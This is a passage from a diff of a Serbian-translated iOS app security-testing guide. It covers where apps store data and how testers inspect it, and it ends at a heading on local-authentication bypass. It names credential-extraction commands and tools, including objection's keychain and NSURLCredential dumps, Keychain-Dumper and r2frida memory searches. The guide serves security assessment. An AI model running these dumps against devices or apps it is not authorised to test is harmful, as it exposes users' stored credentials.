- **`PlugIns/`**: Ovo može uključivati ekstenzije aplikacije, poznate kao `.appex` datoteke, iako one nisu uvek prisutne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Koristi se za čuvanje trajnih podataka vaše aplikacije za offline korišćenje, za keširanje privremenih podataka i za dodavanje funkcionalnosti poništavanja u vašu aplikaciju na jednom uređaju. Da bi se podaci sinhronizovali između više uređaja u jednom iCloud nalogu, Core Data automatski odražava vašu šemu u CloudKit kontejneru.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Datoteka `PkgInfo` je alternativni način za određivanje tipa i kodova kreatora vaše aplikacije ili paketa.
|
||||
@ -178,7 +178,7 @@ Struktura **IPA datoteke** je suštinski kao **zipped package**. Preimenovanjem
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** služi kao kamen temeljac za iOS aplikacije, obuhvatajući ključne konfiguracione podatke u obliku **key-value** parova. Ova datoteka je neophodna ne samo za aplikacije već i za ekstenzije aplikacija i frameworke koji su upakovani unutar. Struktuirana je u XML ili binarnom formatu i sadrži kritične informacije koje se kreću od dozvola aplikacije do bezbednosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, može se konsultovati [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
**Info.plist** služi kao kamen temeljac za iOS aplikacije, obuhvatajući ključne konfiguracione podatke u obliku **key-value** parova. Ova datoteka je neophodna ne samo za aplikacije već i za ekstenzije aplikacija i frameworke koji su upakovani unutar. Struktuirana je u XML ili binarnom formatu i sadrži kritične informacije koje se kreću od dozvola aplikacije do bezbednosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, možete se obratiti [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Za one koji žele da rade sa ovom datotekom u pristupačnijem formatu, konverzija u XML može se lako postići korišćenjem `plutil` na macOS-u (dostupno nativno na verzijama 10.2 i novijim) ili `plistutil` na Linuxu. Komande za konverziju su sledeće:
|
||||
|
||||
@ -200,9 +200,9 @@ $ grep -i <keyword> Info.plist
|
||||
U iOS okruženju, direktorijumi su posebno dodeljeni za **sistemske aplikacije** i **aplikacije instalirane od strane korisnika**. Sistemske aplikacije se nalaze u direktorijumu `/Applications`, dok se aplikacije instalirane od strane korisnika nalaze pod `/var/mobile/containers/Data/Application/`. Ove aplikacije imaju jedinstveni identifikator poznat kao **128-bit UUID**, što otežava ručno lociranje fascikle aplikacije zbog nasumičnosti imena direktorijuma.
|
||||
|
||||
> [!WARNING]
|
||||
> Kako aplikacije u iOS moraju biti u sandboxu, svaka aplikacija će takođe imati fasciklu unutar **`$HOME/Library/Containers`** sa **`CFBundleIdentifier`** aplikacije kao imenom fascikle.
|
||||
> Kako aplikacije u iOS moraju biti u sandboxu, svaka aplikacija će takođe imati fasciklu unutar **`$HOME/Library/Containers`** sa **`CFBundleIdentifier`** aplikacije kao naziv fascikle.
|
||||
>
|
||||
> Međutim, obe fascikle (fascikle podataka i kontejnera) imaju datoteku **`.com.apple.mobile_container_manager.metadata.plist`** koja povezuje obe datoteke u ključnoj `MCMetadataIdentifier`).
|
||||
> Međutim, obe fascikle (fascikle podataka i kontejnera) imaju datoteku **`.com.apple.mobile_container_manager.metadata.plist`** koja povezuje obe datoteke u ključnoj reči `MCMetadataIdentifier`).
|
||||
|
||||
Da bi se olakšalo otkrivanje direktorijuma instalacije aplikacije instalirane od strane korisnika, **objection tool** pruža korisnu komandu, `env`. Ova komanda otkriva detaljne informacije o direktorijumu za dotičnu aplikaciju. Ispod je primer kako koristiti ovu komandu:
|
||||
```bash
|
||||
@ -243,22 +243,22 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Sadrži sve **fajlove koji nisu specifični za korisnika**, kao što su **kešovi**, **preferencije**, **kolačići** i konfiguracione datoteke (plist).
|
||||
- iOS aplikacije obično koriste poddirektorije `Application Support` i `Caches`, ali aplikacija može kreirati prilagođene poddirektorije.
|
||||
- **Library/Caches/**
|
||||
- Sadrži **polu-permanentne keširane fajlove.**
|
||||
- Sadrži **polu-perzistentne keširane fajlove.**
|
||||
- Nevidljivo korisnicima i **korisnici ne mogu pisati u nju**.
|
||||
- Sadržaj u ovoj direktoriji **nije backup-ovan**.
|
||||
- OS može automatski obrisati fajlove iz ove direktorije kada aplikacija nije pokrenuta i kada je prostor za skladištenje nizak.
|
||||
- **Library/Application Support/**
|
||||
- Sadrži **permanentne** **fajlove** neophodne za rad aplikacije.
|
||||
- Sadrži **perzistentne** **fajlove** neophodne za rad aplikacije.
|
||||
- **Nevidljivo** **korisnicima** i korisnici ne mogu pisati u nju.
|
||||
- Sadržaj u ovoj direktoriji je **backup-ovan**.
|
||||
- Aplikacija može onemogućiti putanje postavljanjem `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Koristi se za čuvanje svojstava koja mogu **ostati čak i nakon ponovnog pokretanja aplikacije**.
|
||||
- Koristi se za čuvanje svojstava koja mogu **perzistirati čak i nakon ponovnog pokretanja aplikacije**.
|
||||
- Informacije se čuvaju, nešifrovane, unutar sandbox-a aplikacije u plist datoteci nazvanoj \[BUNDLE_ID].plist.
|
||||
- Svi parovi ključ/vrednost sačuvani koristeći `NSUserDefaults` mogu se naći u ovoj datoteci.
|
||||
- **tmp/**
|
||||
- Koristite ovu direktoriju za pisanje **privremenih fajlova** koji ne moraju da opstanu između pokretanja aplikacije.
|
||||
- Sadrži nepermanentne keširane fajlove.
|
||||
- Koristite ovu direktoriju za pisanje **privremenih fajlova** koji ne moraju perzistirati između pokretanja aplikacije.
|
||||
- Sadrži neperzistentne keširane fajlove.
|
||||
- **Nevidljivo** korisnicima.
|
||||
- Sadržaj u ovoj direktoriji nije backup-ovan.
|
||||
- OS može automatski obrisati fajlove iz ove direktorije kada aplikacija nije pokrenuta i kada je prostor za skladištenje nizak.
|
||||
@ -375,9 +375,9 @@ ios-basics.md
|
||||
|
||||
Najčešći način za trajno čuvanje podataka u plist datotekama je korišćenjem **NSUserDefaults**. Ova plist datoteka se čuva unutar sandbox-a aplikacije u **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) pruža programski interfejs za interakciju sa podrazumevanim sistemom. Podrazumevani sistem omogućava aplikaciji da prilagodi svoje ponašanje prema **preferencama korisnika**. Podaci sačuvani pomoću `NSUserDefaults` mogu se pregledati u paketu aplikacije. Ova klasa čuva **podatke** u **plist** **datoteci**, ali je namenjena za korišćenje sa malim količinama podataka.
|
||||
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) pruža programski interfejs za interakciju sa podrazumevanim sistemom. Podrazumevani sistem omogućava aplikaciji da prilagodi svoje ponašanje prema **preferencama korisnika**. Podaci sačuvani od strane `NSUserDefaults` mogu se pregledati u paketu aplikacije. Ova klasa čuva **podatke** u **plist** **datoteci**, ali je namenjena za korišćenje sa malim količinama podataka.
|
||||
|
||||
Ovi podaci se ne mogu više direktno pristupiti putem pouzdanog računara, ali se mogu pristupiti izvođenjem **backup-a**.
|
||||
Ovi podaci više ne mogu biti direktno pristupljeni putem pouzdanog računara, ali se mogu pristupiti izvođenjem **backup-a**.
|
||||
|
||||
Možete **dump** informacije sačuvane korišćenjem **`NSUserDefaults`** koristeći objection-ov `ios nsuserdefaults get`
|
||||
|
||||
@ -396,14 +396,14 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Unutar Objection Sesije:** Za analizu mobilnih aplikacija, specifična komanda vam omogućava da direktno konvertujete plist fajlove:
|
||||
**Tokom Objection Sesije:** Za analizu mobilnih aplikacija, specifična komanda omogućava direktno konvertovanje plist fajlova:
|
||||
```bash
|
||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) je okvir za upravljanje model slojem objekata u vašoj aplikaciji. [Core Data može koristiti SQLite kao svoj trajni skladište](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ali sam okvir nije baza podataka.\
|
||||
CoreData po defaultu ne enkriptuje svoje podatke. Međutim, dodatni sloj enkripcije može se dodati CoreData. Pogledajte [GitHub Repo](https://github.com/project-imas/encrypted-core-data) za više detalja.
|
||||
CoreData po defaultu ne enkriptuje svoje podatke. Međutim, dodatni sloj enkripcije može biti dodat CoreData. Pogledajte [GitHub Repo](https://github.com/project-imas/encrypted-core-data) za više detalja.
|
||||
|
||||
Možete pronaći informacije o SQLite Core Data aplikacije na putanji `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
@ -434,17 +434,17 @@ NSLog(@"data stored in core data");
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) je skladište ključ/vrednost izgrađeno na vrhu SQLite-a.\
|
||||
Pošto su Yap baze sqlite baze, možete ih pronaći koristeći predloženu komandu u prethodnom odeljku.
|
||||
Pošto su Yap baze podataka sqlite baze, možete ih pronaći koristeći predloženu komandu u prethodnom odeljku.
|
||||
|
||||
### Other SQLite Databases
|
||||
|
||||
Uobičajeno je da aplikacije kreiraju svoje vlastite sqlite baze. Mogu **čuvati** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga, uvek je zanimljivo proveriti svaku bazu unutar direktorijuma aplikacija. Stoga idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Uobičajeno je da aplikacije kreiraju svoje vlastite sqlite baze podataka. Mogu **čuvati** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga, uvek je zanimljivo proveriti svaku bazu podataka unutar direktorijuma aplikacija. Stoga idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase Real-Time Databases
|
||||
|
||||
Razvijači mogu da **čuvaju i sinhronizuju podatke** unutar **NoSQL cloud-hosted baze podataka** putem Firebase Real-Time Databases. Podaci se čuvaju u JSON formatu i sinhronizuju se svim povezanim klijentima u realnom vremenu.
|
||||
Razvijači mogu **čuvati i sinhronizovati podatke** unutar **NoSQL cloud-hosted baze podataka** putem Firebase Real-Time Databases. Podaci se čuvaju u JSON formatu i sinhronizuju se svim povezanim klijentima u realnom vremenu.
|
||||
|
||||
Možete pronaći kako da proverite pogrešno konfigurisane Firebase baze podataka ovde:
|
||||
|
||||
@ -454,7 +454,7 @@ Možete pronaći kako da proverite pogrešno konfigurisane Firebase baze podatak
|
||||
|
||||
### Realm databases
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) nude moćnu alternativu za skladištenje podataka, koju Apple ne pruža. Po defaultu, **čuvaju podatke nešifrovane**, a šifrovanje je dostupno kroz specifičnu konfiguraciju.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) nude moćnu alternativu za čuvanje podataka, koju Apple ne pruža. Po defaultu, **čuvaju podatke nešifrovane**, a šifrovanje je dostupno kroz specifičnu konfiguraciju.
|
||||
|
||||
Baze podataka se nalaze na: `/private/var/mobile/Containers/Data/Application/{APPID}`. Da biste istražili ove datoteke, možete koristiti komande kao:
|
||||
```bash
|
||||
@ -508,15 +508,15 @@ Da biste pregledali kolačić fajl, možete koristiti [**ovaj python skript**](h
|
||||
```
|
||||
### Cache
|
||||
|
||||
Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori u Cache.db** bazi podataka. Ova baza podataka može sadržati **osetljive podatke**, ako su tokeni, korisnička imena ili bilo koje druge osjetljive informacije keširane. Da biste pronašli keširane informacije, otvorite direktorijum podataka aplikacije (`/var/mobile/Containers/Data/Application/<UUID>`) i idite na `/Library/Caches/<Bundle Identifier>`. **WebKit keš se takođe čuva u Cache.db** datoteci. **Objection** može otvoriti i interagovati sa bazom podataka pomoću komande `sqlite connect Cache.db`, jer je to n**ormalna SQLite baza podataka**.
|
||||
Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori u Cache.db** bazi podataka. Ova baza podataka može sadržati **osetljive podatke**, ako su tokeni, korisnička imena ili bilo koje druge osjetljive informacije sačuvane. Da biste pronašli sačuvane informacije, otvorite direktorijum podataka aplikacije (`/var/mobile/Containers/Data/Application/<UUID>`) i idite na `/Library/Caches/<Bundle Identifier>`. **WebKit keš se takođe čuva u Cache.db** datoteci. **Objection** može otvoriti i interagovati sa bazom podataka pomoću komande `sqlite connect Cache.db`, jer je to n**ormalna SQLite baza**.
|
||||
|
||||
Preporučuje se **onemogućavanje keširanja ovih podataka**, jer može sadržati osetljive informacije u zahtevu ili odgovoru. Sledeća lista prikazuje različite načine za postizanje ovog cilja:
|
||||
|
||||
1. Preporučuje se uklanjanje keširanih odgovora nakon odjave. To se može uraditi pomoću metode koju je obezbedio Apple pod nazivom [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Ovu metodu možete pozvati na sledeći način:
|
||||
1. Preporučuje se uklanjanje sačuvanih odgovora nakon odjave. To se može uraditi pomoću metode koju je obezbedio Apple pod nazivom [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Ovu metodu možete pozvati na sledeći način:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
Ova metoda će ukloniti sve keširane zahteve i odgovore iz Cache.db datoteke.
|
||||
Ova metoda će ukloniti sve sačuvane zahteve i odgovore iz Cache.db datoteke.
|
||||
|
||||
2. Ako ne trebate koristiti prednost kolačića, preporučuje se da jednostavno koristite [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfiguracionu osobinu URLSession-a, koja će onemogućiti čuvanje kolačića i keševa.
|
||||
|
||||
@ -528,7 +528,7 @@ Ova metoda će ukloniti sve keširane zahteve i odgovore iz Cache.db datoteke.
|
||||
|
||||
### Snapshots
|
||||
|
||||
Kad god pritisnete dugme za početnu stranu, iOS **uzima snimak trenutnog ekrana** kako bi mogao da izvrši prelaz na aplikaciju na mnogo glatkiji način. Međutim, ako su **osetljivi** **podatci** prisutni na trenutnom ekranu, biće **sačuvani** u **sliki** (koja **ostaje** **i nakon** **ponovnog pokretanja**). Ovo su snimci koje možete takođe pristupiti dvostrukim dodirom na početni ekran da biste prešli između aplikacija.
|
||||
Kad god pritisnete dugme za početnu stranu, iOS **uzima snimak trenutnog ekrana** kako bi mogao da izvrši prelaz na aplikaciju na mnogo glatkiji način. Međutim, ako su **osetljivi** **podatci** prisutni na trenutnom ekranu, biće **sačuvani** u **sliki** (koja **ostaje** **i nakon** **ponovnog pokretanja**). Ovo su snimci koje možete takođe pristupiti dvostrukim dodirom na početnom ekranu da biste prešli između aplikacija.
|
||||
|
||||
Osim ako iPhone nije jailbreak-ovan, **napadač** treba da ima **pristup** **uređaju** **otključanom** da bi video ove snimke ekrana. Podrazumevano, poslednji snimak se čuva u sandbox-u aplikacije u `Library/Caches/Snapshots/` ili `Library/SplashBoard/Snapshots` folderu (pouzdani računari ne mogu pristupiti datotečnom sistemu od iOS 7.0).
|
||||
|
||||
@ -551,7 +551,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
|
||||
backgroundImage?.removeFromSuperview()
|
||||
}
|
||||
```
|
||||
Циљ-Ц:
|
||||
Objective-C:
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
@ -566,15 +566,15 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
Ovo postavlja pozadinsku sliku na `overlayImage.png` svaki put kada se aplikacija pozadinski pokrene. To sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek zameniti trenutni prikaz.
|
||||
Ovo postavlja pozadinsku sliku na `overlayImage.png` svaki put kada se aplikacija pozadinski pokrene. Sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek prebrisati trenutni prikaz.
|
||||
|
||||
### Keychain
|
||||
|
||||
Za pristup i upravljanje iOS keychain-om, dostupni su alati poput [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), pogodnih za jailbroken uređaje. Pored toga, [**Objection**](https://github.com/sensepost/objection) pruža komandu `ios keychain dump` za slične svrhe.
|
||||
|
||||
#### **Skladištenje akreditiva**
|
||||
#### **Skladištenje kredencijala**
|
||||
|
||||
Klasa **NSURLCredential** je idealna za čuvanje osetljivih informacija direktno u keychain-u, zaobilazeći potrebu za NSUserDefaults ili drugim omotačima. Da bi se akreditivi sačuvali nakon prijave, koristi se sledeći Swift kod:
|
||||
Klasa **NSURLCredential** je idealna za čuvanje osetljivih informacija direktno u keychain-u, zaobilazeći potrebu za NSUserDefaults ili drugim omotačima. Da bi se sačuvali kredencijali nakon prijave, koristi se sledeći Swift kod:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
@ -582,17 +582,17 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
```
|
||||
Da bi se izvukle ove sačuvane akreditive, koristi se Objectionova komanda `ios nsurlcredentialstorage dump`.
|
||||
|
||||
## **Prilagođene Tastature i Keširanje Tastature**
|
||||
## **Prilagođene Tastature i Keš Tastature**
|
||||
|
||||
Sa iOS 8.0 i novijim verzijama, korisnici mogu instalirati prilagođene ekstenzije tastature, koje se mogu upravljati pod **Settings > General > Keyboard > Keyboards**. Iako ove tastature nude proširenu funkcionalnost, predstavljaju rizik od beleženja pritisaka tastera i slanja podataka na spoljne servere, iako su korisnici obavešteni o tastaturama koje zahtevaju pristup mreži. Aplikacije mogu, i trebale bi, ograničiti korišćenje prilagođenih tastatura za unos osetljivih informacija.
|
||||
Sa iOS 8.0 i novijim verzijama, korisnici mogu instalirati ekstenzije prilagođenih tastatura, koje se mogu upravljati pod **Podešavanja > Opšte > Tastatura > Tastature**. Iako ove tastature nude proširenu funkcionalnost, predstavljaju rizik od beleženja pritisaka tastera i slanja podataka na spoljne servere, iako su korisnici obavešteni o tastaturama koje zahtevaju pristup mreži. Aplikacije mogu, i trebale bi, ograničiti korišćenje prilagođenih tastatura za unos osetljivih informacija.
|
||||
|
||||
**Preporuke za Bezbednost:**
|
||||
|
||||
- Preporučuje se onemogućavanje tastatura trećih strana radi poboljšane bezbednosti.
|
||||
- Budite svesni funkcija automatskog ispravljanja i automatskih predloga podrazumevane iOS tastature, koje mogu sačuvati osetljive informacije u keš datotekama smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ove keš datoteke treba redovno proveravati na prisustvo osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Settings > General > Reset > Reset Keyboard Dictionary** za brisanje keširanih podataka.
|
||||
- Budite svesni funkcija automatskog ispravljanja i automatskih predloga podrazumevane iOS tastature, koje mogu sačuvati osetljive informacije u keš datotekama smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ove keš datoteke treba redovno proveravati na prisustvo osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Podešavanja > Opšte > Resetuj > Resetuj rečnik tastature** radi brisanja keširanih podataka.
|
||||
- Presretanje mrežnog saobraćaja može otkriti da li prilagođena tastatura prenosi pritiske tastera na daljinu.
|
||||
|
||||
### **Prevencija Keširanja Tekstualnih Polja**
|
||||
### **Prevencija Keširanja Polja za Tekst**
|
||||
|
||||
Protokol [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) nudi svojstva za upravljanje automatskim ispravljanjem i sigurnim unosom teksta, što je od suštinskog značaja za sprečavanje keširanja osetljivih informacija. Na primer, onemogućavanje automatskog ispravljanja i omogućavanje sigurnog unosa teksta može se postići sa:
|
||||
```objectivec
|
||||
@ -610,13 +610,13 @@ Debugging code često uključuje korišćenje **logging**. Postoji rizik jer **l
|
||||
|
||||
Uprkos ovim ograničenjima, **napadač sa fizičkim pristupom** otključanom uređaju može to iskoristiti povezivanjem uređaja sa računarom i **čitanjem logova**. Važno je napomenuti da logovi ostaju na disku čak i nakon deinstalacije aplikacije.
|
||||
|
||||
Da bi se smanjili rizici, preporučuje se da se **temeljno interaguje sa aplikacijom**, istražujući sve njene funkcionalnosti i unose kako bi se osiguralo da se osetljive informacije ne beleže nenamerno.
|
||||
Da bi se smanjili rizici, savetuje se da se **temeljno interaguje sa aplikacijom**, istražujući sve njene funkcionalnosti i unose kako bi se osiguralo da se ne beleže osetljive informacije nenamerno.
|
||||
|
||||
Kada pregledate izvorni kod aplikacije za potencijalna curenja, tražite i **predefinisane** i **prilagođene logovanje izjave** koristeći ključne reči kao što su `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, i sve pominjanja `Logging` ili `Logfile` za prilagođene implementacije.
|
||||
Kada pregledate izvorni kod aplikacije u potrazi za potencijalnim curenjima, tražite i **predefinisane** i **prilagođene logovanje izjave** koristeći ključne reči kao što su `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, i sve pominjanja `Logging` ili `Logfile` za prilagođene implementacije.
|
||||
|
||||
### **Monitoring System Logs**
|
||||
|
||||
Aplikacije beleže razne informacije koje mogu biti osetljive. Da biste pratili ove logove, alati i komande kao što su:
|
||||
Aplikacije beleže razne informacije koje mogu biti osetljive. Da bi se pratili ovi logovi, alati i komande kao što su:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
@ -638,7 +638,7 @@ Slede komande za posmatranje aktivnosti logova, što može biti neprocenjivo za
|
||||
|
||||
## Backupi
|
||||
|
||||
**Auto-backup funkcije** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes (do macOS Catalina), Finder (od macOS Catalina nadalje) ili iCloud. Ove kopije obuhvataju skoro sve podatke uređaja, osim veoma osetljivih elemenata kao što su detalji o Apple Pay-u i konfiguracije Touch ID-a.
|
||||
**Auto-backup funkcije** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes (do macOS Catalina), Finder (od macOS Catalina nadalje) ili iCloud. Ove kopije obuhvataju gotovo sve podatke uređaja, osim veoma osetljivih elemenata kao što su detalji o Apple Pay-u i konfiguracije Touch ID-a.
|
||||
|
||||
### Bezbednosni Rizici
|
||||
|
||||
@ -650,7 +650,7 @@ Fajlovi u `Documents/` i `Library/Application Support/` se po defaultu čuvaju u
|
||||
|
||||
### Testiranje na Ranljivosti
|
||||
|
||||
Da biste procenili bezbednost backup-a aplikacije, počnite sa **kreiranjem backup-a** koristeći Finder, zatim ga locirajte koristeći uputstva iz [Apple-ove zvanične dokumentacije](https://support.apple.com/en-us/HT204215). Analizirajte backup za osetljive podatke ili konfiguracije koje bi mogle biti promenjene da utiču na ponašanje aplikacije.
|
||||
Da biste procenili bezbednost backup-a aplikacije, počnite sa **kreiranjem backup-a** koristeći Finder, zatim ga locirajte koristeći smernice iz [Apple-ove zvanične dokumentacije](https://support.apple.com/en-us/HT204215). Analizirajte backup za osetljive podatke ili konfiguracije koje bi mogle biti promenjene da utiču na ponašanje aplikacije.
|
||||
|
||||
Osetljive informacije se mogu tražiti koristeći alate komandne linije ili aplikacije kao što je [iMazing](https://imazing.com). Za enkriptovane backup-e, prisustvo enkripcije može se potvrditi proverom ključa "IsEncrypted" u "Manifest.plist" fajlu na korenu backup-a.
|
||||
```xml
|
||||
@ -673,7 +673,7 @@ Primer promene ponašanja aplikacije kroz modifikacije bekapa prikazan je u [Bit
|
||||
|
||||
## Sažetak o testiranju memorije za osetljive podatke
|
||||
|
||||
Kada se radi sa osetljivim informacijama sačuvanim u memoriji aplikacije, ključno je ograničiti vreme izlaganja ovih podataka. Postoje dva osnovna pristupa za istraživanje sadržaja memorije: **kreiranje dump-a memorije** i **analiza memorije u realnom vremenu**. Oba metoda imaju svoje izazove, uključujući mogućnost propuštanja kritičnih podataka tokom procesa dump-a ili analize.
|
||||
Kada se radi sa osetljivim informacijama sačuvanim u memoriji aplikacije, ključno je ograničiti vreme izlaganja ovih podataka. Postoje dva osnovna pristupa za istraživanje sadržaja memorije: **kreiranje dump-a memorije** i **analiza memorije u realnom vremenu**. Obe metode imaju svoje izazove, uključujući mogućnost propuštanja kritičnih podataka tokom procesa dump-a ili analize.
|
||||
|
||||
## **Preuzimanje i analiza dump-a memorije**
|
||||
|
||||
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
|
||||
```
|
||||
## **Analiza Memorije u Runtime-u**
|
||||
|
||||
**r2frida** pruža moćnu alternativu za inspekciju memorije aplikacije u realnom vremenu, bez potrebe za dump-ovanjem memorije. Ovaj alat omogućava izvršavanje komandi pretrage direktno u memoriji pokrenute aplikacije:
|
||||
**r2frida** pruža moćnu alternativu za inspekciju memorije aplikacije u realnom vremenu, bez potrebe za dump-ovanjem memorije. Ovaj alat omogućava izvršavanje komandi pretrage direktno na memoriji pokrenute aplikacije:
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
@ -704,7 +704,7 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Loši Procesi Upravljanja Ključevima
|
||||
|
||||
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i enkriptuju ih ključem koji je hardkodiran/predvidljiv u kodu. To ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i enkriptuju ih sa ključem koji je hardkodiran/predvidljiv u kodu. To ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
|
||||
### Korišćenje Nesigurnih i/ili Zastarelih Algoritama
|
||||
|
||||
@ -741,11 +741,11 @@ Da bi zatražili autentifikaciju od korisnika, programeri treba da koriste metod
|
||||
- **`deviceOwnerAuthentication`**: Zatražuje Touch ID ili lozinku uređaja, neuspešno ako nijedno nije omogućeno.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Isključivo traži Touch ID.
|
||||
|
||||
Uspešna autentifikacija se označava boolean povratnom vrednošću iz **`evaluatePolicy`**, ističući potencijalnu sigurnosnu slabost.
|
||||
Uspešna autentifikacija se označava boolean povratnom vrednošću iz **`evaluatePolicy`**, ističući potencijalnu sigurnosnu manu.
|
||||
|
||||
### Lokalna autentifikacija koristeći Keychain
|
||||
|
||||
Implementacija **lokalne autentifikacije** u iOS aplikacijama uključuje korišćenje **keychain API-a** za sigurno čuvanje tajnih podataka kao što su tokeni za autentifikaciju. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, koristeći njihovu lozinku uređaja ili biometrijsku autentifikaciju poput Touch ID.
|
||||
Implementacija **lokalne autentifikacije** u iOS aplikacijama uključuje korišćenje **keychain API-a** za sigurno čuvanje tajnih podataka kao što su tokeni za autentifikaciju. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, koristeći njihovu lozinku uređaja ili biometrijsku autentifikaciju kao što je Touch ID.
|
||||
|
||||
Keychain nudi mogućnost postavljanja stavki sa atributom `SecAccessControl`, koji ograničava pristup stavci dok korisnik uspešno ne autentifikuje putem Touch ID ili lozinke uređaja. Ova funkcija je ključna za poboljšanje sigurnosti.
|
||||
|
||||
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
|
||||
|
||||
### Detekcija
|
||||
|
||||
Korišćenje okvira u aplikaciji može se takođe otkriti analizom liste deljenih dinamičkih biblioteka binarnog fajla aplikacije. To se može uraditi korišćenjem `otool`:
|
||||
Korišćenje okvira u aplikaciji takođe se može otkriti analizom liste deljenih dinamičkih biblioteka binarnog fajla aplikacije. To se može uraditi korišćenjem `otool`:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
@ -885,15 +885,15 @@ Ako se `LocalAuthentication.framework` koristi u aplikaciji, izlaz će sadržati
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
Ako se koristi `Security.framework`, biće prikazan samo drugi.
|
||||
Ako se koristi `Security.framework`, samo će drugi biti prikazan.
|
||||
|
||||
### Obilaženje lokalnog autentifikacionog okvira
|
||||
### Zaobilaženje lokalnog okvira za autentifikaciju
|
||||
|
||||
#### **Objection**
|
||||
|
||||
